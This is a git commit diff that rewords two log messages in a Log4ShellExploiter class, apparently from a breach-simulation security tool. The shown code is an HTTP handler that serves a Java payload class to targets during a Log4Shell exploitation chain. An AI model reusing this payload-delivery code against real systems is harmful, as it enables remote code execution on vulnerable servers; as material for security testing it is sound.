Agent: small logging improvements in log4shel

This commit is contained in:
vakarisz 2022-01-05 14:21:26 +02:00
parent d2181f6577
commit dd3c5aac6f
1 changed files with 2 additions and 2 deletions

View File

@ -125,11 +125,11 @@ class Log4ShellExploiter(WebRCE):
stop = False
def do_GET(self):
logger.error("Got a get request!")
logger.info("Java class servergot a GET request!")
self.send_response(200)
self.send_header("Content-type", "application/octet-stream")
self.end_headers()
logger.info("Sending payload class!")
logger.info("Sending the payload class!")
self.wfile.write(self.java_class)
Log4ShellExploiter.HTTPHandler.class_downloaded = True